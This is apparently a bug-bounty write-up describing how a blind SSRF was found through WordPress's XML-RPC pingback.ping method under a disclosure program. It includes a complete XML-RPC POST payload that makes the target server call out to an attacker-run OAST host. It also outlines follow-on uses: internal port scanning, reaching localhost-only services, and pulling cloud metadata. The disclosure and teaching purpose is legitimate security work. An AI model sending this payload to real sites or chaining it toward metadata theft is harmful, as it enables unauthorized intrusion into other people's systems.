Post cover image

September 2, 2026

Uncovering a High-Severity Blind SSRF via WordPress XML-RPC

Case Study Analysis of How I Discovered a Blind Server Side Request Forgery (SSRF) Exploit by Using the WordPress XML-RPC Vulnerability…

By 0x7ipher

3 min read

Case Study Analysis of How I Discovered a Blind Server Side Request Forgery (SSRF) Exploit by Using the WordPress XML-RPC Vulnerability using (VDP).

Disclaimer:_ This paper is only intended for informative and educational use. The vulnerability described here in has been identified by a Vulnerability Disclosure Program (VDP) during a designated testing period. All sensitive information that includes identifiers, domain names, and any other organization-related information has been properly anonymized or substituted with generic terms to comply with non-disclosure requirements and target privacy. No data modification has occurred in the course of anonymizing the test data._

What is XML-RPC and pingback.ping?

Historically, WordPress had been making use of the XML-RPC protocol to allow external applications (such as mobile apps and remote blogging platforms) to connect with the site's API. The Pingback functionality is one of the things that can be done through XML-RPC. In theory, when Website A links to Website B, Website A will send Website B a pingback message to inform Website B about it. Website B will then auto-fetch Website A to check whether there is a link from Website A to Website B.

The Vulnerability Primitive

The vulnerability known as SSRF occurs when the application takes URL input from the user and handles it on the server without rigorous validation. Since the XML-RPC service is unauthenticated, any internet user can make a request to the server, telling it to connect to an arbitrary IP address/hostname.

Step 1: Accessing the xmlrpc.php

None None

Step 2: Preparing the OAST Listener

An out-of-band method such as OAST is needed to verify the blind SSRF (server processing the request but not showing the contents of the response on the attacker's console). Through the use of an OAST framework such as Interactsh, I was able to come up with a distinct monitoring domain string for the incoming external lookups.

None

Step 3: Crafting the Malicious Payload

Unauthenticated HTTP POST request was sent to the target xmlrpc.php file using XML request payload. First parameter defines the destination that server should retrieve data from:

POST /xmlrpc.php HTTP/2
Host: target.com
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<methodCall>
  <methodName>pingback.ping</methodName>
  <params>
    <param>
      <value>
        <string>http://YOUR-UNIQUE-OAST-DOMAIN</string>
      </value>
    </param>
    <param>
      <value>
        <string>https://example.com</string>
      </value>
    </param>
  </params>
</methodCall>
None

Step 4: Analyzing the Callback

The internal structure of the target machine performed the DNS query aimed at resolving my host. The traffic logs indicated that the traffic was coming from an external IP address which was directly hosted by the target server infrastructure; thus, the SSRF was fully confirmed.

None None

Security Impact & Exploitation Potential

Even though a pingback payload may simply lead to a DNS look-up and an HTTP call, the operational consequences in practice may be serious indeed:

  1. Recon on the Internal Network: The attackers will use the victim's server as a proxy in order to scan for internal ports using the private IP range (RFC 1918).
  2. Communication with the Local Services: It may be used to connect to the administrative local services that are bound only to the address 127.0.0.1 (local databases, caches, internal APIs, etc.).
  3. Exposure of the Cloud Metadata: In case the system is running in the cloud (AWS, GCP, DigitalOcean, etc.), the attacker may try to fetch the metadata from the http://169.254.169.254 endpoint.

Conclusion & Responsible Reporting

Ethical hacking principles must be followed while conducting research on public infrastructure. After confirming the validity of the out-of-band callback, no further tests were conducted in order to avoid any network disruption.

I formatted the findings using the Common Vulnerability Scoring System (CVSS v3.1), determining an objective base score of 7**.5 (High Severity).**

Thank you for reading. I hope you enjoyed this story and found it helpful.😊

None